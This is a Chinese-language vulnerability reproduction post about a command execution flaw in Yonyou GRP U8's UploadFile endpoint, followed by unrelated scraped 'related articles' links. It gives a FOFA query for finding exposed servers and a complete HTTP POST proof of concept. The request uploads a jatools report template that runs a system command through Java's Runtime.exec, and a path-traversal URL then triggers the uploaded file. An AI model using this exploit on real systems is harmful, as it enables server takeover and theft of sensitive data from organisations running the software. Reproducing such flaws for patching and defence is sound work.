用友 GRP U8 UploadFile 命令执行

简介: 用友 GRP U8 UploadFile 存在命令执行漏洞,攻击者可通过该漏洞获取服务器敏感信息以及接管服务器。

一、资产发现


FOFA: app="用友-GRP-U8" && port="88"

image.png

二、漏洞复现


POC如下


POST /UploadFile HTTP/1.1

Host: XXX.XX.XX.XX:88

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: JSESSIONID=18F403D91DD537D8DAA24D5A4B45C818

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Length: 3491

 

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="input_localfile"; filename="demodemo.png"

Content-Type: application/octet-stream

 

<jatools Class="jatools.ReportDocument" Name="jatools report template">

<VariableContext>

</VariableContext>

<Page>

<Name>panel</Name>

<Children ItemClass="PagePanel">

<Item0>

<Name>header</Name>

<Width>753</Width>

<Height>80</Height>

<Children ItemClass="Label">

<Item0>

<ForeColor>-65536</ForeColor>

<X>41</X>

<Y>15</Y>

<Width>362</Width>

<Height>62</Height>

</Item0>

</Children>

<Type>100</Type>

</Item0>

<Item1>

<Name>footer</Name>

<Y>802</Y>

<Width>753</Width>

<Height>280</Height>

<Type>103</Type>

</Item1>

<Item2>

<Name>body</Name>

<Y>80</Y>

<Width>753</Width>

<Height>722</Height>

<Children ItemClass="Table">

<Item0>

<NodePath>学生表</NodePath>

<X>115</X>

<Y>77</Y>

<Children>

<Item0 Class="Label">

<Text>家庭成员</Text>

<Border/>

<PrintStyle>united-level:1;</PrintStyle>

<Cell>

<Row>3</Row>

<Col>0</Col>

<RowSpan>2</RowSpan>

</Cell>

</Item0>

<Item1 Class="Label">

<Text>关系</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>1</Col>

</Cell>

</Item1>

<Item2 Class="Label">

<Text>性别</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>2</Col>

</Cell>

</Item2>

<Item3 Class="Label">

<Text>年龄</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>3</Col>

</Cell>

</Item3>

<Item4 Class="Label">

<Text>得分</Text>

<Border/>

<Cell>

<Row>2</Row>

<Col>0</Col>

</Cell>

</Item4>

<Item5 Class="Label">

<Text>性别</Text>

<Border/>

<Cell>

<Row>1</Row>

<Col>0</Col>

</Cell>

</Item5>

<Item6 Class="Label">

<Text>姓名</Text>

<Border/>

<Cell>

<Row>0</Row>

<Col>0</Col>

</Cell>

</Item6>

<Item7 Class="Text">

<Variable>=$学生表</Variable>

<Border/>

<Cell>

<Row>0</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item7>

<Item8 Class="Text">

<Variable>=$学生表.value()</Variable>

<Border/>

<Cell>

<Row>1</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item8>

<Item9 Class="Text">

<Variable>=$学生表.getName()</Variable>

<Border/>

<Cell>

<Row>2</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item9>

<Item10 Class="RowPanel">

<Cell>

<Row>4</Row>

<Col>0</Col>

<ColSpan>4</ColSpan>

</Cell>

<Children ItemClass="Text">

<Item0>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>3</Col>

</Cell>

</Item0>

<Item1>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>2</Col>

</Cell>

</Item1>

<Item2>

<Variable>;</Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>1</Col>

</Cell>

</Item2>

</Children>

<NodePath>成员</NodePath>

</Item10>

</Children>

<ColumnWidths>60,60,60,60</ColumnWidths>

<RowHeights>20,20,20,20,20</RowHeights>

</Item0>

</Children>

<Type>102</Type>

</Item2>

</Children>

</Page>

<NodeSource>

<Children ItemClass="ArrayNodeSource">

<Item0>

<Children ItemClass="ArrayNodeSource">

<Item0>

<TagName>成员</TagName>

<Expression>$.value()</Expression>

</Item0>

</Children>

<TagName>学生表</TagName>

<Expression>new Object[]{new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())).readLine()}</Expression>

</Item0>

</Children>

</NodeSource>

</jatools>

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="type"

 

1

------WebKitFormBoundaryicNNJvjQHmXpnjFc—


三、复现结果


可以看到返回包回显为Success

image.png

然后访问http://x.x.x.x/u8qx/tools/defaultviewer.jsp?file=../../upload/demodemo.png

image.png

目录
相关文章
|
数据库
TortoiseSVN 执行清理( cleanUp )失败的解决方案
目前我们这边的内网代码是通过 TortoiseSVN 进行版本管理的,平时用着也挺好的,没碰到什么大问题。
663 0
TortoiseSVN 执行清理( cleanUp )失败的解决方案
|
3月前
【Azure 应用服务】Azure Function在执行Function的时候,如果失败了,是否可以重试呢?
【Azure 应用服务】Azure Function在执行Function的时候,如果失败了,是否可以重试呢?
|
3月前
|
SQL JavaScript 前端开发
【Azure 应用服务】Azure JS Function 异步方法中执行SQL查询后,Callback函数中日志无法输出问题
【Azure 应用服务】Azure JS Function 异步方法中执行SQL查询后,Callback函数中日志无法输出问题
|
6月前
|
运维 监控 Serverless
Serverless 应用引擎产品使用之在阿里函数计算中,在response.send()之后继续执行其它代码如何解决
阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
230 0
|
安全 虚拟化 Python
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
|
监控
Parallels Desktop 17.1.1 操作失败(执行该操作失败) 解决方案
Parallels Desktop 17.1.1 操作失败(执行该操作失败) 解决方案乳请看下文
135 1
|
缓存 API 数据格式
阿里云国际站代理商:阿里云解决swagger提示Failed to load API definition Fetch errorundefined
@luotuoemo飞机@TG阿里云国际站代理商:将Swagger集成到项目中可以方便地生成和管理API文档,但有时候在使用Swagger时可能会遇到`Failed to load API definition Fetch errorundefined`这样的错误提示。这个错误通常是由以下几个原因引起的:
此用户不允许自调用(isv.self-invoke-forbidden)-处理方案
说明   如果您在调用蚂蚁金服接口出现这个错误,说明您请求的appid(年份开头)属于第三方应用不允许自己appid请求蚂蚁金服接口   简单来说:如果您出现这个报错说明不可以自调用,只能走以下两个方案进行接口测试。
4219 12
|
安全 Linux Windows
命令执行之文件落地利用总结
命令执行之文件落地利用总结
145 0
EMQ
|
数据采集 监控 网络协议
v2.3 发布,新增西门子 Fetch/Write 驱动
十二月,我们发布了Neuron 2.3.0版本:新增监控模块,允许Neuron内部关键数据通过HTTP API对外暴露;协议驱动新增西门子FetchWrite驱动等。
EMQ
105 0